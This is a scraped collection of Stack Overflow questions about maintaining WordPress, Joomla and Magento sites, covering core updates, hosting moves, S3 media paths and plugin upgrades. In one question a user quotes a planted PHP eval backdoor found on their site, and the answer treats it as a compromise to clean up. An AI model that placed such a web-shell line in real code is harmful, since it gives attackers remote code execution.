Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
I have a website I want to be able to do the same kind of core update that WordPress can do.
How do I safely make it possible to update the core of my website? Which preventive measures do I take?
When PHP scripts are able to update themselves it sounds like a great security threat to me!
If you really want, you can look at the source of /wordpress/wp-admin/includes/class-wp-upgrader.php which is doing all the heavy lifting in the new background updates. Major releases (3.7 to 3.8, or 3.x to 4.x) require user input. It's just small patches that are coming in automatically.
Your WordPress installation pings the WP servers for available updates.
Your WP downloads archive from their server to yours, and unpacks the archive to a working directory.
Your WP deletes the package archive.
Your WP moves the new files from the working directory to their destination.
Your WP clears the working directory.
Your WP calls filters and hooks 'upgrader_process_complete' which may initiate some new code to execute in order to complete the patches.
Unless a hacker is able to trick WordPress into connecting to a non-WP server for update information or packages, you're getting approved file patches direct from WordPress servers api.wordpress.org.
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 2 years ago.
Improve this question
I've been monitoring my wordpress installation and from time to time a file gets created in places like /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/
The file name always starts with .1599.... followed by random numbers
ex. .1599674957 or .1599875789
The code inside this file is <?php #eval($_HEADERS["E"]);#eval($_REQUEST["E"]);
What I do is delete all files with the .1599* recursively in the wordpress folder.
How do I resolve this?
Thank you for the help
Your site is hacked. These are commonly inserted to your PHP files by hackers. You should:
Find all files with this.
Restore all of these files to their original state (either by downloading from WordPress.org or manually fixing)
Remove any file that are not supposed to be in your WordPress.
Find all PHP files in the WordPress upload folder and remove them (they should not be there anyway)
Update your WordPress core and all plugins to the latest version to remove potential vunerabilities.
In general, you should keep regular backups. And you should frequently update your WordPress.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 6 years ago.
Improve this question
I am new to Joomla and Hosting,
i have downloaded a Joomla template from a website. the package contains the hole template including the database and all the structure(html, css) and all the web parts. i did my changes locally and want to move the website and host it on GoDaddy. But first i need to buy a hosting and move the files to the server.
now GoDaddy have a ready Joomla installation plus hosting, if i purchase that and take the template and install it, i would loose the the added html and content provided.
what is the best practices to to move forward.
You can ignore GoDaddy's Joomla installation, you don't need it. Just upload your files, export/import your database, and update your configuration.php file with the new paths & connection information.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 days ago.
Improve this question
so recently i discovered amazon web services and decided that this is my future. What i have done i exported all media to my pc and uploaded to amazon s3 storage made bucket public and now i need to change all urls on my wordpress that it would read from amazon.
So what i need to know how is that possible, i know that via sql update is one way to go also you can write small php code to do it and there is also couple of plugins that actually transfers your media to amazon s3 but those ones was outdated.
So i have now media like this:
mydomain.com/wp-content/uploads/2015/03/myphoto.jpg
Wat i need is change path to:
amazondomainandbucket.com/wp-content/uploads/2015/03/myphoto.jpg
I have amazon subdomian, i alrerady uploaded all my uplodas folder in it i have couple ways to go which i wrote above but just looking for good advice maybe there existing some plugin which is able to do that? Im using newest wordpress version 4.1.1 (i believe its this)
Thank you.
You should run string replace befor uploading the database.
dump the database
open the file in notepadd++ (or similar)
replace all urls and save
import the database
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
I have Magento website with about 1000 electrical products.
The current version is 1.5.
I now have purchased new template but not sure if that will fill up with my all requirements or not. Or require any customization.
But with new design I also want to update Magento to 1.9.
Want only general answers to below or your thoughts:
1) Steps for up-gradation
2) Checklist of points I should take care in doing this considering above scenario?
3) Will upgrading to new design and new Magento version, affect my current database or functionality?
i suggest to you install new 1.9 magento and add your purchased theme in to mangento then task backup of your data base and create a new backup only on catalog, sales and customer all table then add this table into you magento 1.9 database first delete these table in 1.9 database also.
And yes copy & paste your media folder in new magento set up, if your have on your cache in 1.5 also copy & paste your var>cache folder.
during this process not execute your site.
Thanks
For Magento upgrades we normally follow the Magento WIKI
http://www.magentocommerce.com/wiki/1_-_installation_and_configuration/manual_upgrade_using_fresh_install_and_original_database
The procedure is more time consuming but it will ensure you have a stable upgraded site when you are finished.
I would NEVER use Magento connect to upgrade your website. I would also recommend backing everything up before you attempt it. We normally will upgrade a site 5 or 6 times before we actually do it live. We document each step to ensure there are no hiccups when it really counts.
I think you are ok to 1.9 now. It includes a great responsive theme that you can use for your next redesign!
Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 10 years ago.
Improve this question
My wordpress 3.4.2 site have 25 activated plugin, so Which is safest way to update ?
Backup the files and database before going for any update.
Activate the plugin one by one and check how things going on then. It
will help you to figure out the bugs if any.
Not the right place for this question as it is not really programming related...
Try asking on Stack Exchanges Wordpress site.
However what i would do would be to clone the install to a new sub-domain (beta.example.com) including backing up all you SQL data, install the update on the new domain, and see if everything works. If so, copy it back to the primary, or just do an install on it.
I would wait for a while, because chances are that a few plugins will be broken by the new version (I had one break on me) until they get updated. Once you've waited for a while, you can check on the page for each plugin in the Wordpress Plugin Directory, which has a "Compatibility" section in the bottom-right of each plugin's description page, which tells you how many other users have reported it broken for each version.